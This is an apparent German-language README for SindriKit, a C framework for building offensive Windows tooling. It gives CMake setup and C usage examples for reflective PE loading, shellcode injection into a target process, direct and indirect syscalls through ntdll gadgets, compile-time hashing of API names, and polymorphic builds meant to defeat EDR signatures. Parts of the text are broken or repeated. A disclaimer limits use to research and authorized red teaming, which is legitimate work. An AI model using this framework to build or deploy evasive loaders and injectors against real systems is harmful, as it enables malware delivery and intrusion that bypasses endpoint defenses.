
Eine grundlegende C-Bibliothek zur Erstellung operativ glaubwürdiger offensiver Fähigkeiten
Offensive Entwicklung verdient eine bessere Architektur.
Eine C-Bibliothek zum Erstellen offensiver Fähigkeiten.
Die meisten offensiven Werkzeuge verdrahten ihre Ausführungsmechanik fest in der Logik der Technik. Ein reflektiver Loader bildet nicht nur ein Image ab; er bildet es mit einer spezifischen, fest verdrahteten Kette von VirtualAlloc- oder nativen NTAPI-Aufrufen ab. Wenn ein EDR beginnt, diese spezifische Kette zu überwachen, sind Sie gezwungen, das gesamte Werkzeug neu zu schreiben.
SindriKit löst dies, indem es über Interface-Abstraktionstabellen eine Trennung der Zuständigkeiten durchsetzt:
Indem Sie die Ausführungsmechanik auf Laufzeit-Funktionszeiger verlagern, können Sie Ihre gesamte Strategie mit einer einzigen Codezeile von Win32-Aufrufen auf rohe direkte Syscalls umstellen — ohne Ihre Payload-Ausführungslogik zu ändern.
snd_syscall_resolve_ssn_scan, snd_syscall_resolve_ssn_sort) mit einer Prioritätskette — tauschen oder erweitern Sie Strategien, ohne den Domänencode anzufassen.SND_MORPH. Erzeugt bei jedem Build eindeutige binäre Signaturen, indem es flüchtige opake Prädikate in C-Code injiziert, funktional äquivalente Mathematik/NOPs in Assembly-Stubs einfügt und das Speicherlayout der Kern-Structs durcheinanderwürfelt.cmake_minimum_required(VERSION 3.16)
project(MyTool C ASM_MASM)
set(SND_BUILD_PAYLOADS OFF CACHE BOOL "")
set(SND_ENABLE_DEBUG OFF CACHE BOOL "")
set(SND_HASH_ALGO "DJB2" CACHE STRING "")
set(SND_RANDOMIZE_SEED ON CACHE BOOL "")
set(SND_MORPH ON CACHE BOOL "")
add_subdirectory(libs/SindriKit)
add_executable(my_tool src/main.c)
target_link_libraries(my_tool PRIVATE sindri::engine)
cmake -B build && cmake --build build --config Release
Nur zwei Zeilen, damit Ihr Werkzeug alle Fähigkeiten von SindriKit erbt: PE-Parsing, Syscall-Auflösung, reflektives Laden ...
┌────────────────────────────────────────────────────────────────────────────┐
│ ANY OFFENSIVE INTENT │
│ Loader · Injector · Spoofer · Patcher · Bypasser · Harvester · ... │
├────────────────────────────────────────────────────────────────────────────┤
│ SINDRIKIT API ABSTRACTION LAYER │
│ snd_memory_api_t -> alloc · free · protect │
│ snd_module_api_t -> load_library · get_proc_address · ... │
│ snd_process_api_t -> open · alloc_remote · write · protect · thread │
│ [ future tables ] -> thread · object · ... │
├──────────────────┬──────────────────────┬──────────────────────────────────┤
│ Win32 Profile │ Native Profile │ Bring Your Own Mechanic │
│ VirtualAlloc │ NtAllocateVirtual │ Driver · ROP · Exotic │
│ LoadLibraryA │ PEB Walk + EAT │ Operator-defined functions │
└──────────────────┴──────────────────────┴──────────────────────────────────┘
In der Praxis bedeutet dies, dass jede Domäne demselben Vertrag folgt:
// Reflective loader
snd_ldr_pe_ctx_t ctx = {0};
ctx.raw_source = &payload;
ctx.mem_api = &snd_mem_win; // or snd_mem_nt / snd_mem_sys
ctx.mod_api = &snd_mod_win; // or snd_mod_nt
snd_ldr_pe_prepare_image(&ctx);
snd_ldr_pe_execute_image(&ctx);
// Classic injection
snd_inj_ctx_t inj = {0};
inj.target_pid = 1337;
inj.payload = &shellcode;
inj.proc_api = &snd_proc_sys; // or snd_proc_win / snd_proc_nt
snd_inj_classic_shell(&inj);
snd_inj_cleanup(&inj);
SindriKit behandelt die Syscall-Auflösung als injizierbare Mechanik und stapelt Strategien in Prioritätsreihenfolge. Die Engine fällt durch die Strategien, bis eine erfolgreich ist:
snd_syscall_set_ntdll(clean_ntdll);
snd_syscall_set_resolver(snd_syscall_resolve_ssn_scan);
snd_syscall_add_resolver(snd_syscall_resolve_ssn_sort);
snd_syscall_set_invoker(snd_syscall_direct_invoke_asm);
// or for indirect syscalls:
// snd_syscall_set_invoker(snd_syscall_indirect_invoke_asm);
// snd_syscall_set_gadget_finder(snd_syscall_find_gadget_scan);
Der Invoker ist von der SSN-Auflösung entkoppelt — wechseln Sie zwischen direkten und indirekten Syscalls, ohne Domänencode zu ändern. Indirekte Aufrufe springen zu einem legitimen NTDLL-Gadget und halten die Syscall-Rücksprungadresse innerhalb von ntdll.dll.
Jeder API-Name und jede Modulzeichenfolge wird zur Kompilierzeit über eine einzige CMake-Variable aus der finalen Binärdatei entfernt:
set(SND_HASH_ALGO "FNV1A") # or DJB2 recomputes everything automatically
set(SND_RANDOMIZE_SEED ON) # generates a fresh 32-bit seed on next configure
Jeder Hash wird mit einem zufällig generierten Seed berechnet (wenn SND_RANDOMIZE_SEED=ON). Der statische Fußabdruck verschiebt sich zwischen Kompilierungen vollständig, ohne eine Zeile C anzufassen.
Eine benutzerdefinierte MASM-Assembly-Brücke für beliebige Laufzeit-Funktionsaufrufe. x64-Builds folgen präzise der Microsoft-x64-Aufrufkonvention (Shadow Space, Register-Argumentplatzierung, Stack-Ausrichtung). x86-Builds pushen Argumente in umgekehrter Reihenfolge mit Unterstützung sowohl für cdecl- als auch für stdcall-Ziele.
Ein einheitlicher PE32/PE32+-Parser mit einem is_mapped-Flag, das sowohl rohe Images auf der Festplatte als auch speicherzugeordnete Ansichten korrekt behandelt. Jeder Zugriff auf ein Datenverzeichnis wird vor dem Dereferenzieren gegen die verfolgten Puffergrenzen validiert. Die Exportauflösung unterstützt Forwarder-Ketten bis zu einer Tiefe von 4 mit hashbasierter Suche.
Getestet gegen:
pe_mutator-Modul erzeugt werden: genullte Abschnittsnamen, Integer-Überläufe, ungültige e_lfanew-Grenzen, verstümmelte Imports.Jede offensive Operation wird über eine diskrete Kontextstruktur mit Stufenaufzählung verwaltet. Operationen können zwischen Stufen für Sleep-Verschleierung oder gestaffeltes Deployment pausiert, sauber fortgesetzt und bis zum exakten Fehlerpunkt inspiziert werden — bis hinunter zu Subsystem und Grund.
Bootstrappen Sie die Syscall-Pipeline einmal (typisches Muster):
PVOID clean_ntdll = NULL;
snd_om_knowndll_map(&snd_map_nt, L"ntdll.dll", &clean_ntdll);
snd_syscall_set_ntdll(clean_ntdll);
snd_syscall_set_resolver(snd_syscall_resolve_ssn_scan);
snd_syscall_add_resolver(snd_syscall_resolve_ssn_sort);
snd_syscall_set_invoker(snd_syscall_direct_invoke_asm);
// or for indirect syscalls:
// snd_syscall_set_invoker(snd_syscall_indirect_invoke_asm);
// snd_syscall_set_gadget_finder(snd_syscall_find_gadget_scan);
Der Invoker ist von der SSN-Auflösung entkoppelt — wechseln Sie zwischen direkten und indirekten Syscalls, ohne Domänencode zu ändern. Indirekte Aufrufe springen zu einem legitimen NTDLL-Gadget und halten die Syscall-Rücksprungadresse innerhalb von ntdll.dll.
Tauschen Sie das Ausführungsprofil mit einer Zuweisung:
ctx.mem_api = &snd_mem_win; // diagnostic
ctx.mem_api = &snd_mem_nt; // NT stubs via PEB + EAT
ctx.mem_api = &snd_mem_sys; // direct syscalls (pipeline required)
Die Modulauflösung folgt demselben Muster (snd_mod_win vs. snd_mod_nt). Es gibt kein syscall-gestütztes Modul-Backend — Imports verwenden PEB-Walk + EAT selbst in vollständigen _sys-Profilen.
SND_ENABLE_DEBUG=ONFür die lokale Entwicklung. snd_status_t erweitert sich um file, line und einen 128 Byte großen context-Zeichenfolgenpuffer. SND_ERR_CTX und SND_DEBUG_PRINT geben Zustandsmaschinenübergänge, geparste PE-Feldwerte und Syscall-Auflösungsergebnisse aus. Verwenden Sie SND_USE_PRINTF=ON, um die Ausgabe an stdout statt an die Debug-Konsole zu leiten.
SND_ENABLE_DEBUG=OFFDie Standard-Deployment-Konfiguration für operative Binärdateien. Jede diagnostische Zeichenfolge, jeder Dateiverweis und jede Zeilennummer wird vollständig wegkompiliert. snd_status_t schrumpft auf zwei Ganzzahlen. Sonst nichts.
set(SND_ENABLE_DEBUG OFF CACHE BOOL "")
set(SND_BUILD_PAYLOADS OFF CACHE BOOL "")
set(SND_RANDOMIZE_SEED ON CACHE BOOL "")
set(SND_USE_DEFAULTS ON CACHE BOOL "")
set(SND_HASH_ALGO "DJB2" CACHE STRING "")
add_subdirectory(vendor/SindriKit)
target_link_libraries(my_tool PRIVATE sindri::engine)
Vollständige Referenz unter docs/:
loader_winapi, loader_nowinapi, inject_pe, inject_shell, heavens_gateGeplant: Evasion-Domäne.
SindriKit ist ausschließlich für Bildungs-, Forschungs- und autorisierte Red-Teaming-Zwecke entwickelt. Den vollständigen rechtlichen Haftungsausschluss und Informationen zu OpSec-Überlegungen finden Sie in der Security Policy.